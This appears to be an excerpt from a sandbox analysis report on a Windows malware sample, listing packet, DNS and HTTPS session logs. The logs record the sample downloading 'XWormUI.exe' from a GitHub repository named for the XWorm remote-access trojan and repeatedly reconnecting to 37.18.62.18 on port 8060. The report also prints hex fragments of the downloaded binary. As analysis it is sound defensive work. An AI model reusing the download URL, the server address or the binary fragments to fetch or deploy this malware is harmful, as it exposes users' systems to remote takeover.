Sep 30, 2024 03:24:09.834703922 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.834781885 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.834829092 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.834886074 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.834898949 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.834917068 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.834949017 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.834970951 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.834974051 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.834989071 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.835016966 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.835040092 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.841032028 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.841094971 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.841136932 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.841187954 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.841296911 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.841355085 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.841368914 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.841422081 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.841434002 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.841487885 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.848910093 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.848979950 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921603918 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921721935 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921741962 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921768904 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921794891 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921823025 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921827078 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921840906 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921869993 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921895027 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921909094 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921922922 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.921950102 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921971083 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.921982050 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.922036886 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.922049999 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.922101974 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.922804117 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.922872066 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.922883987 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.922950029 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.923054934 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.923110962 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.927995920 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928066969 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.928080082 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928132057 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.928157091 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928209066 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.928220987 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928268909 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928273916 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.928287029 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928318977 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.928359985 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.928369999 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.928422928 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.929100990 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.929164886 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.929167986 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.929184914 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.929241896 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.929241896 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.929263115 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.929316044 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.929327011 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.929374933 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.983901978 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.984028101 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.984096050 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.984126091 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.990436077 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.990474939 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.990498066 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.990540981 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:14.306224108 CEST	49713	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:14.311126947 CEST	8060	49713	37.18.62.18	192.168.2.6
Sep 30, 2024 03:24:14.311244011 CEST	49713	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:14.331377029 CEST	49713	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:14.338675022 CEST	8060	49713	37.18.62.18	192.168.2.6
Sep 30, 2024 03:24:35.758866072 CEST	8060	49713	37.18.62.18	192.168.2.6
Sep 30, 2024 03:24:35.759006977 CEST	49713	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:40.785727978 CEST	49713	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:40.786623955 CEST	49720	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:40.790534019 CEST	8060	49713	37.18.62.18	192.168.2.6
Sep 30, 2024 03:24:40.791376114 CEST	8060	49720	37.18.62.18	192.168.2.6
Sep 30, 2024 03:24:40.791460037 CEST	49720	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:40.791933060 CEST	49720	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:24:40.796677113 CEST	8060	49720	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:02.162817955 CEST	8060	49720	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:02.162889004 CEST	49720	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:07.174518108 CEST	49720	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:07.174873114 CEST	62899	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:07.179544926 CEST	8060	49720	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:07.179675102 CEST	8060	62899	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:07.179740906 CEST	62899	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:07.180074930 CEST	62899	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:07.184822083 CEST	8060	62899	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:28.554006100 CEST	8060	62899	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:28.554090023 CEST	62899	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:33.565084934 CEST	62899	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:33.565479994 CEST	62901	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:33.570044994 CEST	8060	62899	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:33.570394039 CEST	8060	62901	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:33.570513964 CEST	62901	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:33.570909977 CEST	62901	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:33.575761080 CEST	8060	62901	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:54.946281910 CEST	8060	62901	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:54.947144985 CEST	62901	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:59.987008095 CEST	62901	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:59.987312078 CEST	62903	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:59.991935968 CEST	8060	62901	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:59.992088079 CEST	8060	62903	37.18.62.18	192.168.2.6
Sep 30, 2024 03:25:59.992161036 CEST	62903	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:59.992518902 CEST	62903	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:25:59.997253895 CEST	8060	62903	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:21.351495028 CEST	8060	62903	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:21.351603031 CEST	62903	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:26.361913919 CEST	62903	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:26.362251997 CEST	62904	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:26.366806984 CEST	8060	62903	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:26.366995096 CEST	8060	62904	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:26.367082119 CEST	62904	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:26.367413998 CEST	62904	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:26.372148991 CEST	8060	62904	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:47.757034063 CEST	8060	62904	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:47.757118940 CEST	62904	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:52.768074036 CEST	62904	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:52.768457890 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:52.772995949 CEST	8060	62904	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:52.773359060 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:26:52.773432970 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:52.773864985 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:26:52.778631926 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:15.109146118 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:15.109220028 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:15.109282970 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:15.109390974 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:15.109415054 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:15.109415054 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:15.109448910 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:20.111927986 CEST	62906	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:20.112298965 CEST	62907	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:20.116839886 CEST	8060	62906	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:20.117235899 CEST	8060	62907	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:20.117311001 CEST	62907	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:20.117793083 CEST	62907	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:20.125153065 CEST	8060	62907	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:41.493908882 CEST	8060	62907	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:41.494018078 CEST	62907	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:46.502496004 CEST	62907	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:46.502876043 CEST	62908	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:46.507380962 CEST	8060	62907	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:46.507678032 CEST	8060	62908	37.18.62.18	192.168.2.6
Sep 30, 2024 03:27:46.509310961 CEST	62908	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:46.509643078 CEST	62908	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:27:46.514379025 CEST	8060	62908	37.18.62.18	192.168.2.6
Sep 30, 2024 03:28:07.886933088 CEST	8060	62908	37.18.62.18	192.168.2.6
Sep 30, 2024 03:28:07.887048006 CEST	62908	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:28:12.893217087 CEST	62908	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:28:12.893661022 CEST	62910	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:28:12.898072004 CEST	8060	62908	37.18.62.18	192.168.2.6
Sep 30, 2024 03:28:12.898521900 CEST	8060	62910	37.18.62.18	192.168.2.6
Sep 30, 2024 03:28:12.898597956 CEST	62910	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:28:12.898907900 CEST	62910	8060	192.168.2.6	37.18.62.18
Sep 30, 2024 03:28:12.903711081 CEST	8060	62910	37.18.62.18	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 03:24:07.939327955 CEST	56227	53	192.168.2.6	1.1.1.1
Sep 30, 2024 03:24:07.946080923 CEST	53	56227	1.1.1.1	192.168.2.6
Sep 30, 2024 03:24:09.124011040 CEST	64211	53	192.168.2.6	1.1.1.1
Sep 30, 2024 03:24:09.130640984 CEST	53	64211	1.1.1.1	192.168.2.6
Sep 30, 2024 03:24:50.493774891 CEST	53	49844	162.159.36.2	192.168.2.6
Sep 30, 2024 03:24:51.836352110 CEST	53	50805	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 03:24:07.939327955 CEST	192.168.2.6	1.1.1.1	0xd90c	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 03:24:09.124011040 CEST	192.168.2.6	1.1.1.1	0x12	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 03:24:07.946080923 CEST	1.1.1.1	192.168.2.6	0xd90c	No error (0)	github.com	140.82.121.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 03:24:09.130640984 CEST	1.1.1.1	192.168.2.6	0x12	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 03:24:09.130640984 CEST	1.1.1.1	192.168.2.6	0x12	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 03:24:09.130640984 CEST	1.1.1.1	192.168.2.6	0x12	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 03:24:09.130640984 CEST	1.1.1.1	192.168.2.6	0x12	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	140.82.121.3	443	4976	C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 01:24:08 UTC	157	OUT	GET /errias/XWorm-Rat-Remote-Administration-Tool-/raw/main/XWormUI.exe HTTP/1.1 User-Agent: ProgramDownloader Host: github.com Cache-Control: no-cache
2024-09-30 01:24:09 UTC	576	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Mon, 30 Sep 2024 01:24:08 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-09-30 01:24:09 UTC	3382	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	185.199.111.133	443	4976	C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 01:24:09 UTC	192	OUT	GET /errias/XWorm-Rat-Remote-Administration-Tool-/main/XWormUI.exe HTTP/1.1 User-Agent: ProgramDownloader Cache-Control: no-cache Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-30 01:24:09 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 49152 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "6a8de5595cd46d5bff74c4deaee2664415466391102022a2b649b3c3e913d3c7" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 8322:30117F:A74F2B:B9BC60:66F9FDB9 Accept-Ranges: bytes Date: Mon, 30 Sep 2024 01:24:09 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890037-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727659450.779883,VS0,VE10 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 799bf73c92a11d27d12bad20d722a42b754e573a Expires: Mon, 30 Sep 2024 01:29:09 GMT Source-Age: 0
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b 0a 93 60 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ac 00 00 00 12 00 00 00 00 00 00 ae cb 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL` @ @
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 00 00 0a 2a 5e 28 1b 00 00 0a 02 03 28 1c 00 00 0a 28 70 00 00 06 6f 1d 00 00 0a 2a 56 28 b4 00 00 0a 72 21 1c 00 70 6f 22 00 00 0a 80 41 00 00 04 2a 32 7e 42 00 00 04 02 6f 22 00 00 0a 2a 32 7e 42 00 00 04 02 6f 1d 00 00 0a 2a 32 02 28 fb 00 00 0a 28 77 00 00 06 2a 8e 1a 8d 4f 00 00 01 25 19 02 d2 9c 25 18 02 1e 63 d2 9c 25 17 02 1f 10 63 d2 9c 25 16 02 1f 18 63 d2 9c 2a 4e 18 8d 4f 00 00 01 25 17 02 d2 9c 25 16 02 1e 63 d2 9c 2a 32 02 28 fc 00 00 0a 28 77 00 00 06 2a 2e 73 fd 00 00 0a 80 42 00 00 04 2a 56 02 15 7d 44 00 00 04 02 28 1a 00 00 0a 02 03 7d 43 00 00 04 2a 4a 02 7b 43 00 00 04 02 7b 44 00 00 04 6f fe 00 00 0a 2a 8a 02 02 7b 44 00 00 04 17 58 7d 44 00 00 04 02 7b 44 00 00 04 02 7b 43 00 00 04 6f ff 00 00 0a fe 04 2a 22 02 15 7d 44 00 00 04 2a Data Ascii: ^(((poV(r!po"A2~Bo"2~Bo2((wO%%c%c%cNO%%c2((w.sBV}D(}CJ{C{Do{DX}D{D{Co"}D
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 04 7e 13 00 00 04 6f 6f 00 00 06 80 13 00 00 04 7e 0c 00 00 04 7e 12 00 00 04 6f 6f 00 00 06 80 12 00 00 04 7e 0c 00 00 04 7e 0e 00 00 04 6f 6f 00 00 06 80 0e 00 00 04 7e 0c 00 00 04 7e 11 00 00 04 6f 6f 00 00 06 80 11 00 00 04 28 53 00 00 06 80 0f 00 00 04 7e 0c 00 00 04 7e 0a 00 00 04 6f 6f 00 00 06 80 0a 00 00 04 7e 0c 00 00 04 7e 09 00 00 04 6f 6f 00 00 06 28 1c 00 00 0a 73 1e 00 00 0a 80 0b 00 00 04 28 04 00 00 06 0a dd 08 00 00 00 26 16 0a dd 00 00 00 00 06 2a 00 00 00 41 1c 00 00 00 00 00 00 00 00 00 00 37 01 00 00 37 01 00 00 08 00 00 00 01 00 00 01 1b 30 04 00 67 00 00 00 03 00 00 11 7e 0b 00 00 04 6f 1f 00 00 0a 6f 20 00 00 0a 74 36 00 00 01 0a 73 21 00 00 0a 0b 06 07 28 1b 00 00 0a 7e 07 00 00 04 6f 22 00 00 0a 6f 23 00 00 0a 72 01 00 00 70 28 Data Ascii: ~oo~~oo~~oo~~oo(S~~oo~~oo(s(&*A770g~oo t6s!(~o"o#rp(
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 00 26 38 05 00 00 00 28 44 00 00 0a 28 10 00 00 06 25 3a 06 00 00 00 26 38 05 00 00 00 28 44 00 00 0a 28 08 00 00 06 25 3a 06 00 00 00 26 38 05 00 00 00 28 45 00 00 0a 28 06 00 00 06 25 3a 06 00 00 00 26 38 05 00 00 00 28 46 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 16 28 13 00 00 06 2a 00 00 01 10 00 00 00 00 00 00 5d 5d 00 06 01 00 00 01 1b 30 06 00 ba 01 00 00 05 00 00 11 28 06 00 00 06 6f 30 00 00 0a 39 0a 00 00 00 28 12 00 00 06 3a 0b 00 00 00 16 28 13 00 00 06 dd 95 01 00 00 28 08 00 00 06 02 6f 47 00 00 0a 0a 06 16 3e 6b 01 00 00 28 0e 00 00 06 06 6a 58 28 0f 00 00 06 28 0c 00 00 06 06 6a 59 28 0d 00 00 06 28 0c 00 00 06 3a 02 01 00 00 28 0a 00 00 06 16 28 48 00 00 0a 6a 28 0d 00 00 06 28 0c 00 00 06 16 6a 3e c2 00 00 00 16 6a 28 0f 00 00 06 28 0c Data Ascii: &8(D(%:&8(D(%:&8(E(%:&8(F&(*]]0(o09(:((oG>k(jX((jY((:((Hj((j>j((
2024-09-30 01:24:09 UTC	1343	IN	Data Raw: 24 00 00 06 dd aa 00 00 00 6f 57 00 00 0a 28 26 00 00 06 dd 9b 00 00 00 06 72 43 13 00 70 6f 9e 00 00 06 6f aa 00 00 06 06 72 17 13 00 70 6f 9e 00 00 06 6f 99 00 00 06 28 67 00 00 06 26 7e 1f 00 00 04 28 01 00 00 2b 6f 59 00 00 0a 0c 38 44 00 00 00 12 02 28 5a 00 00 0a 0d 09 72 17 13 00 70 6f 9e 00 00 06 6f aa 00 00 06 06 72 43 13 00 70 6f 9e 00 00 06 6f aa 00 00 06 28 2a 00 00 0a 39 12 00 00 00 09 28 24 00 00 06 7e 1f 00 00 04 09 6f 5b 00 00 0a 26 12 02 28 5c 00 00 0a 2d b3 dd 0e 00 00 00 12 02 fe 16 03 00 00 1b 6f 26 00 00 0a dc dd 0f 00 00 00 6f 57 00 00 0a 28 26 00 00 06 dd 00 00 00 00 2a 41 4c 00 00 00 00 00 00 a4 00 00 00 79 00 00 00 1d 01 00 00 0f 00 00 00 3d 00 00 01 02 00 00 00 62 01 00 00 57 00 00 00 b9 01 00 00 0e 00 00 00 00 00 00 00 00 00 00 Data Ascii: $oW(&rCpoorpoo(g&~(+oY8D(ZrpoorCpoo(9($~o[&(\-o&oW(&ALy=bW
2024-09-30 01:24:09 UTC	1378	IN	Data Raw: 8d 00 00 0a 11 09 72 c7 15 00 70 6f 8d 00 00 0a 11 09 72 e7 15 00 70 06 6f 76 00 00 0a 72 fc 14 00 70 28 85 00 00 0a 6f 8d 00 00 0a 11 09 72 fd 15 00 70 28 8e 00 00 0a 28 69 00 00 0a 6f 8d 00 00 0a 11 09 72 05 16 00 70 11 08 28 8f 00 00 0a 72 11 16 00 70 28 85 00 00 0a 6f 8d 00 00 0a dd 0f 00 00 00 11 09 39 07 00 00 00 11 09 6f 26 00 00 0a dc 73 7a 00 00 0a 25 11 08 6f 7b 00 00 0a 25 17 6f 81 00 00 0a 25 16 6f 90 00 00 0a 25 16 6f 91 00 00 0a 25 17 6f 80 00 00 0a 28 82 00 00 0a 26 16 28 18 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 41 64 00 00 00 00 00 00 51 00 00 00 28 00 00 00 79 00 00 00 06 00 00 00 01 00 00 01 02 00 00 00 3c 01 00 00 2c 00 00 00 68 01 00 00 0f 00 00 00 00 00 00 00 02 00 00 00 db 01 00 00 6c 00 00 00 47 02 00 00 0f 00 00 00 00 00 Data Ascii: rporpovrp(orp((iorp(rp(o9o&sz%o{%o%o%o%o(&(&*AdQ(y<,hlG
